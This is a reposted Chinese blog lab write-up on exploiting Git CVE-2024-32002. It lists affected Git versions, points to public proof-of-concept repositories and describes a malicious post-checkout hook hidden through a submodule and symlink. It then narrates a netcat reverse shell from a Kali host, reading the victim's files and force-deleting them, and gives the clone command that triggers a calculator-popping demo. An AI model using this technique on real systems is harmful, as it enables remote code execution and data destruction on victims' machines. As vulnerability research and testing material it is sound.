0


Git CVE-2024-32002漏洞利用

利用 CVE-2024-32002漏洞:通过 git clone 进行 RCE的操作

影响版本

Windows 和 MacOS 系统

git 2.45.0

git 2.44.0

git 2.43.* < 2.43.4

git 2.42.* < 2.42.2

git 2.41.0

git 2.40.* < 2.40.2

git < 2.39.4

详细漏洞利用过程:

Exploiting CVE-2024-32002: RCE via git clone | Amal Murali

一、

poc来源:

GitHub - JJoosh/CVE-2024-32002-Reverse-Shell: Este script demuestra cómo explotar la vulnerabilidad CVE-2024-32002 para obtener una reverse shell, proporcionando acceso remoto al sistema afectado. Úselo con precaución en entornos controlados y solo con fines educativos o de pruebas de seguridad.

上面仓库的git版本应该是不小心写错了。我只验证git 2.44.0 的版本,2.44.1和2.45.1应该是修复了,各位验证还是下载低版本的git吧。

首先创建一个包含恶意 post-checkout 钩子的Git仓库,并通过子模块和符号链接将其嵌入到另一个Git仓库中。最终,当目标用户克隆并初始化这个仓库时,恶意钩子将被执行,并在目标机器上启动一个反向Shell连接。

这是一个受到污染的git仓库。

攻击者打开kali,在kali上建立监听。

执行前需要修改脚本中的ip和端口为主机kali主机的ip和nc监听的端口。

受害者在本地仓库上执行命令。运行名称是pocgitreveshell1.sh是因为尝试修改了其中的一些内容,原始版本改了个名留成备份,运行按自己的名字即可。

攻击者在kali上远程连接到受害者主机。

攻击者执行查看受害者文件内容的命令。

攻击者执行强制删除受害者文件内容的命令。

二、

poc来源

**https://github.com/amalmurali47/git_rce **

直接打开git。运行就可以看到执行代码打开了计算器。

git clone --recursive git@github.com:amalmurali47/git_rce.git

三、

下面是chatgpt对

--recursive的解释,这个漏洞的话,不加--recursive是不会触发的,因为核心就是要到子仓库拷贝恶意代码。

在使用

git clone

命令克隆仓库时,

--recursive

参数的作用是决定是否同时克隆子模块。以下是详细的解释:

不加

--recursive

参数

当您使用

git clone

命令而不加

--recursive

参数时,Git 只会克隆主仓库,不会自动克隆任何子模块。子模块的目录会存在,但它们的内容不会被检出。

git clone <repository-url> 

克隆完成后,可以手动初始化和更新子模块:

cd <repository-directory> git submodule init git submodule update 

--recursive

参数

当您使用

git clone

命令并加上

--recursive

参数时,Git 不仅会克隆主仓库,还会递归地克隆所有子模块。这意味着子模块的内容会在克隆主仓库时一并检出。

git clone --recursive <repository-url> 

这样做的好处是,您在克隆仓库后不需要手动初始化和更新子模块,所有子模块会自动被检出到正确的版本。

标签: git

本文转载自: https://blog.csdn.net/ldl345/article/details/139126972
版权归原作者 宵忍 所有, 如有侵权,请联系我们删除。

“Git CVE-2024-32002漏洞利用”的评论:

还没有评论